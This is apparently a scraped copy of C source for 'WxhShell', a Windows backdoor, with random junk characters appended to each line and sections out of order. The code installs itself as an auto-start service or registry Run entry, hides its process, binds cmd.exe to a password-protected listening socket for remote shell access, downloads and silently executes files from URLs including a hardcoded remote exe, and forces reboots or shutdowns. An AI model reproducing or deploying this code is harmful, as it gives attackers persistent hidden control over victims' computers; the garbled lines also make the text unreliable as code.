    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bK}ZR*)  
    if(Boot(SHUTDOWN)) ;B |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;/V])4=  
    else { FWeUZI+  
    closesocket(wsh); ~m<K5K6 V  
    ExitThread(0); (t3gNin  
    } H.iCYD_=  
    break; > A@yF?  
    } 8Ckd.HKpQ  
  // 获取shell .0yBI=QI  
  case 's': { *\#<2 QAe  
    CmdShell(wsh); h{"SV*Xpk/  
    closesocket(wsh); D8! Y0  
    ExitThread(0); *VXx\&  
    break; Pi1LOCq  
  } G)YmaHeI;[  
  // 退出 - s'W^(  
  case 'x': { pvl];w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eXsp0!v  
    CloseIt(wsh); ~rI2 RJ  
    break; 6wpu[  
    } mEYfsO  
  // 离开 P%&|?e~D^  
  case 'q': { 9[\do@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :I"2 2EH  
    closesocket(wsh); I/upiqy  
    WSACleanup(); aC' 6  
    exit(1); g:~q&b[q6  
    break; c]1AM)xo  
        } tc.|mIvw  
  } 1F>8#+B/W  
  } R#Yj%$E1  
h3E}Sa(MQ:  
  // 提示信息 ,)U%6=o#}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eQyc<  
} SN")u  
  } ^& *;]S`  
\c{sG\ >  
  return; oH4zW5  
} \H>Psv{  
MV3K'<Y  
// shell模块句柄 kz}Bc F  
int CmdShell(SOCKET sock) )$1j"mV  
{ #ZPF&u"  
STARTUPINFO si; J*K=tA  
ZeroMemory(&si,sizeof(si)); qYVeFSS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; euV!U}Xr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A`~?2LH,~F  
PROCESS_INFORMATION ProcessInfo; 4`o0?_.'  
char cmdline[]="cmd"; <i ]-.>&J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ g`|ob]9  
  return 0; Iao?9,NL9O  
} };}N1[D   
q},,[t  
// 自身启动模式 yYe>a^r4R  
int StartFromService(void) ^^ SMr l  
{ ^o>WCU=  
typedef struct OXZK|C;M}  
{ *C|*{!  
  DWORD ExitStatus; 90F.9rh  
  DWORD PebBaseAddress; " +{2!  
  DWORD AffinityMask; ?HOnDw.v1  
  DWORD BasePriority; U7/ =| Z  
  ULONG UniqueProcessId; SR.xI:}4  
  ULONG InheritedFromUniqueProcessId; G3!O@j!7w$  
}   PROCESS_BASIC_INFORMATION; K5bR7f:  
[giw(4m#y  
PROCNTQSIP NtQueryInformationProcess; "WmsBdO  
oPBKPGD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =B+dhZ+#S$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z= -fL  
p|qLr9\A  
  HANDLE             hProcess; UWqiA`,  
  PROCESS_BASIC_INFORMATION pbi; ]X7_ji(l,  
.i?{h/9y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B k\K G  
  if(NULL == hInst ) return 0; KCbOO8cQS  
('uUf!h?\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v`'Iew }  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Rif&W.xy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }h/7M  
Ap"%%D^{:  
  if (!NtQueryInformationProcess) return 0; fTX|vy<EMI  
U4Y)Jk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %< ;u JP K  
  if(!hProcess) return 0; vKPLh   
%RwWyzm#\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ow`F 7  
 xi<}n#  
  CloseHandle(hProcess); WSU/Z[\`H  
c;t3I},  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q9p7{^m&E  
if(hProcess==NULL) return 0; {@x-T  
~z41$~/  
HMODULE hMod; 1S+T:n  
char procName[255]; rK;<-RE<[:  
unsigned long cbNeeded; RxPD44jVA  
Rm,>6bQx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^I6Vz?0Jl  
c9nv=?/}f  
  CloseHandle(hProcess); )FA:wsy~E  
FW3E UC)P  
if(strstr(procName,"services")) return 1; // 以服务启动 Xfb-< Q0A  
i 8cmT+}>  
  return 0; // 注册表启动 2Z"\%ZD  
} F!?f|z,/  
N48X[Q*  
// 主模块 %/nDG9l  
int StartWxhshell(LPSTR lpCmdLine) K'E)?NW69  
{ EN}4-P/5  
  SOCKET wsl; KL(s Vj^e  
BOOL val=TRUE; >x~Qa@s;  
  int port=0; -m=!SQ >9  
  struct sockaddr_in door; hCX/k<}I  
?mVSc/  
  if(wscfg.ws_autoins) Install(); u]9 #d^%V  
o?= &kx  
port=atoi(lpCmdLine); Jfv'M<I  
qM Qu!%o  
if(port<=0) port=wscfg.ws_port; "~Kph0-  
h<CRW-  
  WSADATA data; ns/*WH&[x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V=>]&95-f  
?%Q=l;W.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s nNd7v.U6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3:sx%Ci/2  
  door.sin_family = AF_INET;  0,#n_"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a>Aq/=  
  door.sin_port = htons(port); weGsjy(b]N  
;3Z?MQe"NQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^x( s !4d]  
closesocket(wsl); %\'G2  
return 1;  l]   
} X*Q<REDB  
u Vv %k5  
  if(listen(wsl,2) == INVALID_SOCKET) { EuVA"~PA  
closesocket(wsl); *|6vCR  
return 1; cs:?Wq ^  
} u?z,Vs"  
  Wxhshell(wsl); =yJV8%pa  
  WSACleanup(); va#].4_  
Nd;pkssd  
return 0; +n &8" )  
]-+l.gVFW  
} uXA}" f2  
S]e;p\8$Z  
// 以NT服务方式启动 ( Y Z2&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S,Qa\\~z  
{ -" r4  
DWORD   status = 0; GbkDs-  
  DWORD   specificError = 0xfffffff; Vhn Ir#L+  
qckRX+P`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (II#9 n)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z;dR :|%)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (enOj0  
  serviceStatus.dwWin32ExitCode     = 0; %bG\  
  serviceStatus.dwServiceSpecificExitCode = 0; ']^]z".H  
  serviceStatus.dwCheckPoint       = 0; @aB7dtM  
  serviceStatus.dwWaitHint       = 0; TOvsW<cM  
nF,zWr[x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ),%@X  
  if (hServiceStatusHandle==0) return; \4fuC6d2  
%_39Wa  
status = GetLastError(); ['6Sq@c)  
  if (status!=NO_ERROR) NUuIhB+  
{ R=iwp%c(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?2gXF0+~Y2  
    serviceStatus.dwCheckPoint       = 0; r. rzU  
    serviceStatus.dwWaitHint       = 0; tp\d:4~R  
    serviceStatus.dwWin32ExitCode     = status; R_:lp\S&  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;jKLB^4nX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fNrpYR X  
    return; Psf{~ (Ii  
  } fQw=z$  
lm{4x~y$h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VEL!-e^X&  
  serviceStatus.dwCheckPoint       = 0; 3r?T|>|  
  serviceStatus.dwWaitHint       = 0; .\ vrBf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K'K/}q<  
} LF:~& m  
XHJ/211  
// 处理NT服务事件,比如:启动、停止 [xdVuL;N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +mO/9m  
{ M@pF[J/  
switch(fdwControl) 4jVd  
{ 7PO]\X^(zE  
case SERVICE_CONTROL_STOP: <c,iu{:  
  serviceStatus.dwWin32ExitCode = 0; 6>'>BamX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bc& 5*?  
  serviceStatus.dwCheckPoint   = 0; W:8{}Iu<  
  serviceStatus.dwWaitHint     = 0; (r1"!~d@  
  { SEM- t   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pn ?gB}l  
  } vXak5iq>X  
  return; {s2eOL5I|%  
case SERVICE_CONTROL_PAUSE: I3ugBLxVC3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iqWkhJphv  
  break; !|J2o8g  
case SERVICE_CONTROL_CONTINUE: J!QIMA4{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vcP_gJz  
  break; 7VLn$q]:  
case SERVICE_CONTROL_INTERROGATE: $?OQtz@  
  break; #zb67mg~  
}; [E9_ZdB T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cNy*< Tv  
} W$gjcsv  
(|tR>R.Wxg  
// 标准应用程序主函数 GIS,EwA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _( QW2m?K  
{ *M$$%G(4  
^*,?x  
// 获取操作系统版本 j}G9+GX~,  
OsIsNt=GetOsVer(); ~UwqQD1p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }fhGofN$e  
BMn`t@!x  
  // 从命令行安装 {J;(K~>?m  
  if(strpbrk(lpCmdLine,"iI")) Install(); F]RZP/D`  
SU.$bsu  
  // 下载执行文件  "'Q~&B;@  
if(wscfg.ws_downexe) { +4[Je$qYa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0.U- tg0  
  WinExec(wscfg.ws_filenam,SW_HIDE); (J j'kW6G6  
} E8aD[j[w  
~x+&cA-0A2  
if(!OsIsNt) { Saks~m7,  
// 如果时win9x,隐藏进程并且设置为注册表启动 C&.Q|S2_  
HideProc(); QC1\Sn/  
StartWxhshell(lpCmdLine); 2FN#63  
}  {C%f~j  
else IKp/xj[!  
  if(StartFromService()) mU>lm7'  
  // 以服务方式启动  ]C-a[  
  StartServiceCtrlDispatcher(DispatchTable); -_>E8PhM  
else #V@vz#bo=  
  // 普通方式启动 fDChq[LAn  
  StartWxhshell(lpCmdLine); T>5N$i  
Et&PzDvU  
return 0; <4"Bb_U  
} LiEDTXRz  
W;F=7[h  
J2!)%mF$  
@3?dI@i(  
=========================================== =vb'T  
y*-D  
?Elt;wL(  
yM?jiy  
\?$kpV  
FMl_I26]  
" V~QOl=`K:  
L,sXJ23.  
#include <stdio.h> I\= &v^]  
#include <string.h> 9*(uJA  
#include <windows.h> uA\KbA.c;U  
#include <winsock2.h> I%mGb$ Q  
#include <winsvc.h> 4CxU eq  
#include <urlmon.h> jf=90eJc  
#\6k_toZ  
#pragma comment (lib, "Ws2_32.lib") yONX?cS  
#pragma comment (lib, "urlmon.lib") 3nx*M=  
58PL@H~@0  
#define MAX_USER   100 // 最大客户端连接数 yDi'@Z9R?  
#define BUF_SOCK   200 // sock buffer k.%FGn'fR  
#define KEY_BUFF   255 // 输入 buffer r <$"T  
;4*mUD6  
#define REBOOT     0   // 重启 W"D>>]$|u  
#define SHUTDOWN   1   // 关机 &M #}?@!C  
xHlO~:Lc  
#define DEF_PORT   5000 // 监听端口 p7,dl*'  
+GNXV-S  
#define REG_LEN     16   // 注册表键长度 [XD3}'Aa  
#define SVC_LEN     80   // NT服务名长度 fLuOxYQbf  
)24 1-b V  
// 从dll定义API + $Lc'G+:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rab7Y,AA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MVp+2@)}s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t28 y=nv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Oe}OSxnT  
p$$0**p!`  
// wxhshell配置信息 lkQ(?7  
struct WSCFG { >oyZD^gj  
  int ws_port;         // 监听端口 PC& (1kJ  
  char ws_passstr[REG_LEN]; // 口令 KWn.  
  int ws_autoins;       // 安装标记, 1=yes 0=no :?\Je+iA  
  char ws_regname[REG_LEN]; // 注册表键名 a=*JyZ.2  
  char ws_svcname[REG_LEN]; // 服务名 KtaoU2s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ['aiNhlbt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @.h;k4TD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PLK;y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GO6uQ};  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s 5F?m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^7Z.~A y  
0G8zFe*p  
}; Gp1?drF6  
v(Q-RR  
// default Wxhshell configuration #$u7:p [t  
struct WSCFG wscfg={DEF_PORT, <a& $D  
    "xuhuanlingzhe", o#V{mm,{Pm  
    1, ;2547b[ ]  
    "Wxhshell", Y".4."NX  
    "Wxhshell", #$ ,b )Uy  
            "WxhShell Service", rf =Wq_  
    "Wrsky Windows CmdShell Service", CD)JCv  
    "Please Input Your Password: ", o3oTu  
  1, \!4_m8?  
  "http://www.wrsky.com/wxhshell.exe", 9@ :QBe3]  
  "Wxhshell.exe" l  !JTM  
    }; u9R@rQ9r  
_O`s;oc  
// 消息定义模块 w*gG1BV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +?GsIp@>jh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Url8&.pw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J|DY /v  
char *msg_ws_ext="\n\rExit.";  1"RC!  
char *msg_ws_end="\n\rQuit."; nRheByYm  
char *msg_ws_boot="\n\rReboot..."; 'E4}++\  
char *msg_ws_poff="\n\rShutdown..."; X 3(*bj>P  
char *msg_ws_down="\n\rSave to "; azl!#%  
A{ . A1  
char *msg_ws_err="\n\rErr!"; `~2I  
char *msg_ws_ok="\n\rOK!"; NoT%z$ 1n  
Dn+hI_"# _  
char ExeFile[MAX_PATH]; 9+I /bl4  
int nUser = 0; f_ |=EQ  
HANDLE handles[MAX_USER]; 1F{,Zr  
int OsIsNt; K8fC>iNbH  
i?'|}tK  
SERVICE_STATUS       serviceStatus; >4nQ&b.u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B;J8^esypD  
b}Xh|0`b+  
// 函数声明 }KR"0G[f  
int Install(void); |_%q@EID  
int Uninstall(void); T< o8lL  
int DownloadFile(char *sURL, SOCKET wsh); *JiI>[  
int Boot(int flag); qR9!DQc'  
void HideProc(void); I"HA( +G  
int GetOsVer(void); X> U _v  
int Wxhshell(SOCKET wsl); 0G(|`xG1q  
void TalkWithClient(void *cs); oVIc^yk5a  
int CmdShell(SOCKET sock); RdLk85<n  
int StartFromService(void); `':G92}#  
int StartWxhshell(LPSTR lpCmdLine);  OF O,5  
NwNjB w%v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g\G}b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xi15B5 _Ps  
!Mj28  
// 数据结构和表定义 3% O[W  
SERVICE_TABLE_ENTRY DispatchTable[] = Lm'+z97  
{ oh,29Gg  
{wscfg.ws_svcname, NTServiceMain}, FA}y"I'W  
{NULL, NULL} ? w@)3Z=u  
}; 9~4@AGL  
QNGp+xUHJ9  
// 自我安装 kp^q}iS  
int Install(void) 7 /XfPF  
{ &M6Zsmo  
  char svExeFile[MAX_PATH]; !>EK %OO  
  HKEY key; m`Pk)c0  
  strcpy(svExeFile,ExeFile); Sn[/'V^$a  
.a9f)^  
// 如果是win9x系统,修改注册表设为自启动 W'R^GIHs  
if(!OsIsNt) { T (? CDc+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (9v%66y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a( SJ5t?-2  
  RegCloseKey(key); oH(=T/{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P 4+}<5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }gKJ~9Jg  
  RegCloseKey(key); 2Wr^#PY60  
  return 0; $aHHXd}@t2  
    } 1Hs'YzvY  
  } Fmzkbt~oe  
} "pc t#  
else { o&>aYlXd  
06[HE7  
// 如果是NT以上系统,安装为系统服务 ^m-w@0^z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Ej+Jczzpp  
if (schSCManager!=0) > O~   
{ lg*?w/JX+  
  SC_HANDLE schService = CreateService Hd_,`W@  
  ( 0e(4+:0  
  schSCManager, t)4] 2z)$  
  wscfg.ws_svcname, =A(Az  
  wscfg.ws_svcdisp, XzPUll;ZU  
  SERVICE_ALL_ACCESS, {2U3   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )oy+-1dE  
  SERVICE_AUTO_START, y-mjfW`n  
  SERVICE_ERROR_NORMAL, +QeA*L$~  
  svExeFile, SZ~lCdWad  
  NULL, ; KT/;I  
  NULL, 8LUl@!4b  
  NULL, JV?d/[u,  
  NULL, O"J"H2}S  
  NULL ^ LVKXr  
  ); XC4wm#R  
  if (schService!=0) GIhFOK  
  { &.P G2f*  
  CloseServiceHandle(schService); HF*j=qt!  
  CloseServiceHandle(schSCManager); aev(CY,z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e<+b?@}=B  
  strcat(svExeFile,wscfg.ws_svcname); -?NAA]P5c@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \s7/`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /4KHf3Nr  
  RegCloseKey(key); |nBZ:$D  
  return 0;  '3xK1Am  
    } l YpoS  
  } Ru4M7 %  
  CloseServiceHandle(schSCManager); se*k56,  
} >v )V2,P -  
} < Df2  
\=Od1i  
return 1; 8L5O5F'  
} gObafIA  
K|=va>   
// 自我卸载 3!`_Q%  
int Uninstall(void) ~U5Tn3'~  
{ 8\p"V.o>  
  HKEY key; !\cVe;<r  
MhIHfW]b  
if(!OsIsNt) { ha7mXGN%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X2'XbG 3  
  RegDeleteValue(key,wscfg.ws_regname); S" (Nf+ux  
  RegCloseKey(key); v7,-Q*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I8k+Rk*  
  RegDeleteValue(key,wscfg.ws_regname); ~cV";cD5  
  RegCloseKey(key); K$O2 Fq@y  
  return 0; zF(abQ0  
  } 3Pvz57z{  
} gZ8JfA_\R(  
} . Ctd$  
else { &a)d,4e<M  
+'_ peT.8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,\N4tG1\  
if (schSCManager!=0) MHJRBn{}  
{ FsS.9 `B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U65oh8x  
  if (schService!=0) V!NRBXg  
  { wLNk XC  
  if(DeleteService(schService)!=0) { OxUc,%e9P  
  CloseServiceHandle(schService); \\3 ?ij:v  
  CloseServiceHandle(schSCManager); Vq'n$k}  
  return 0; HubK  
  } tJA"BP3f  
  CloseServiceHandle(schService); p!DOc8a.\e  
  } W j`f^^\HJ  
  CloseServiceHandle(schSCManager); |Qn>K   
} @r(3   
} &"7+k5O  
$LiBJ~vV<  
return 1; .yD5>iBh  
} {7%(m|(  
G++<r7;x  
// 从指定url下载文件 J0B*V0'zR  
int DownloadFile(char *sURL, SOCKET wsh) @U@O#+d'ZR  
{ }z qo<o  
  HRESULT hr; 4BeHj~~  
char seps[]= "/"; k{U[ U1j  
char *token; )Br#R:#  
char *file; |(CgX6 l3  
char myURL[MAX_PATH]; U2CC#,b!(  
char myFILE[MAX_PATH]; 8fktk?|  
g |H  
strcpy(myURL,sURL); + WT?p]  
  token=strtok(myURL,seps); VCwC$ts  
  while(token!=NULL) Yv0y8Vz@  
  { BCtKxtbS  
    file=token; f?> ?jf  
  token=strtok(NULL,seps); &.qLE  
  } P)LOAe1'  
I hv@2{*(b  
GetCurrentDirectory(MAX_PATH,myFILE); mP's4  
strcat(myFILE, "\\"); BqUwvB4  
strcat(myFILE, file); , K:d/  
  send(wsh,myFILE,strlen(myFILE),0); tH#t8Tq5x  
send(wsh,"...",3,0); sE ^YOT<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6cD3(//  
  if(hr==S_OK) ^f9@ =I  
return 0; /:"^,i\t  
else ]c bXI  
return 1; g:@4/+TSt  
F>GPi!O  
} [f}`reRlZ  
.{|SKhXk  
// 系统电源模块 *\cU}qjk  
int Boot(int flag) 1 1(GCu  
{ r$Ni>[as  
  HANDLE hToken; HTMg{_r(%  
  TOKEN_PRIVILEGES tkp; 7P]i|Q{  
^Cvt^cI  
  if(OsIsNt) { G(BSe`f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a <Iikx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z4E6J'B8  
    tkp.PrivilegeCount = 1; Z#D*HAd`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (:\L@j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1/&^~'  
if(flag==REBOOT) { C ](djkA$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pG'?>]Rt4  
  return 0; B I=57  
} !;P[Y"h@r  
else { 0d1!Q!PH3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S!b?pl  
  return 0; o{QV'dgu  
} >[:qJ|i%  
  } sB$ "mJ  
  else { _!Pi+l4p/}  
if(flag==REBOOT) { m(D-?mhL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sH'0utD#Y  
  return 0; IiJ$Ng  
} t=|}?lN<  
else { gZBKe!@a|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J^S!GG'gb  
  return 0; ,X;$-.  
} ydj*Jy'  
} Db;>MWt+e  
'-Oh$hqCx|  
return 1; U#Iwe=  
} .v+ W>  
dBS_N/  
// win9x进程隐藏模块 ~*]7f%L-  
void HideProc(void) G9GHBwT  
{ YB!f=_8  
W\ mgM2p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0)7v _|z  
  if ( hKernel != NULL ) +5 gX6V\  
  { fEiNHVx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rixVIfVF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *YGj^+   
    FreeLibrary(hKernel); Y3s8@0b3  
  } mAET`B "  
mN.  
return; L3'isaz&^  
} xg8R>j  
:RwURv+kT  
// 获取操作系统版本 qnnRS  
int GetOsVer(void) 94|ZY}8|f  
{ W]_a_5  
  OSVERSIONINFO winfo; BUV4L5(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); % 4t?X  
  GetVersionEx(&winfo); N U+PG`Vb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y>#kT  
  return 1; X.FoX  
  else ~4O3~Y_+GN  
  return 0; hl] y):  
} e@S$[,8  
R lbJ4`a  
// 客户端句柄模块 -B! a O65^  
int Wxhshell(SOCKET wsl) r!w*y3  
{ % tC[q   
  SOCKET wsh; 3gD <!WI  
  struct sockaddr_in client; 2X*n93AQi  
  DWORD myID; p#-=mXE/2  
qh&q <M  
  while(nUser<MAX_USER) s{{8!Q  
{ 'tcve2Tt  
  int nSize=sizeof(client); zAvI f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @<X[,Mj  
  if(wsh==INVALID_SOCKET) return 1; ,fN <I  
ZNpC& "`G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _qpIdQBo  
if(handles[nUser]==0) >{-rl@^H:  
  closesocket(wsh); 6ecx!uc$  
else )8'v@8;-  
  nUser++;  vILB$%I  
  } mwN "Cu4t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m7Ry FnR2  
.j"heYF)  
  return 0; x\yr~$}(J  
} ;]=@;? 9  
JUXBMYFus  
// 关闭 socket !0|&f>y  
void CloseIt(SOCKET wsh) L<XX?I\p  
{ 6c27X/'Z  
closesocket(wsh); 2PUB@B' +  
nUser--; [;4ak)!  
ExitThread(0); $sZ4r>-  
} Z#[%JUYp'  
+ZGH  
// 客户端请求句柄 k6GQH@y!  
void TalkWithClient(void *cs) xDSiTp=)O  
{ qW|h"9sr  
~X %cbFom=  
  SOCKET wsh=(SOCKET)cs; 2']0c  z  
  char pwd[SVC_LEN]; Raetz>rL  
  char cmd[KEY_BUFF]; c,ct=m.|6A  
char chr[1]; &B=z*m  
int i,j; 'J!Gip ,  
yB=R7E7  
  while (nUser < MAX_USER) { 2 n2,MB  
'MB+cz+v  
if(wscfg.ws_passstr) { N~or.i&a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); odJE~\\hw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H!,V7R  
  //ZeroMemory(pwd,KEY_BUFF); RdL5VAD  
      i=0; (^sb('"  
  while(i<SVC_LEN) { 4ji'6JHPg  
xaV3N[Zd  
  // 设置超时 +l!.<:sp  
  fd_set FdRead; ,zH\P+*  
  struct timeval TimeOut; 3,{;wJ Z  
  FD_ZERO(&FdRead); 3[l\l5'm8  
  FD_SET(wsh,&FdRead); ";jAHGbO  
  TimeOut.tv_sec=8; D&@ js!|5  
  TimeOut.tv_usec=0; {ehYE^%N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x^Qij!mB%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gvo5^O+)HH  
uH7rt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1DL+=-  
  pwd=chr[0]; cXN0D\%`  
  if(chr[0]==0xd || chr[0]==0xa) { #BS!J&a  
  pwd=0; QfM^J5j.M?  
  break; z&um9rXR  
  } `/wXx5n5<  
  i++; 3/& |Z<f  
    } Z/v )^VR  
B>z^W+Unyn  
  // 如果是非法用户,关闭 socket C:bA:O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <S;YNHLC  
} XRyeEwA;pp  
m9jjKu]|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;i+(Q%LO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Pwf?_2n-  
2)n%rvCQ  
while(1) { Gz8JOl  
LUz`P6  
  ZeroMemory(cmd,KEY_BUFF); y^kC2DS   
a{%EHL,F  
      // 自动支持客户端 telnet标准   U~c9PqjZ  
  j=0; R iV]SgV 9  
  while(j<KEY_BUFF) { _+}hId  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YhAO  
  cmd[j]=chr[0]; rEU1 VvE  
  if(chr[0]==0xa || chr[0]==0xd) { ;;U&mhz`  
  cmd[j]=0; ZX{eggXl  
  break;  P/]8+_K  
  } BCd0X. m(  
  j++; V2tA!II-s  
    } p!?7;  
oW(8bd)  
  // 下载文件 [`KQ \4u  
  if(strstr(cmd,"http://")) { OT)`)PZ"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F%{z E ANm  
  if(DownloadFile(cmd,wsh)) U^-J_ yq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ei5QSL |  
  else I9U 8@e!X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B8up v~U 6  
  } soKR*gJ,  
  else { : B1 "=ly  
TFhYu  
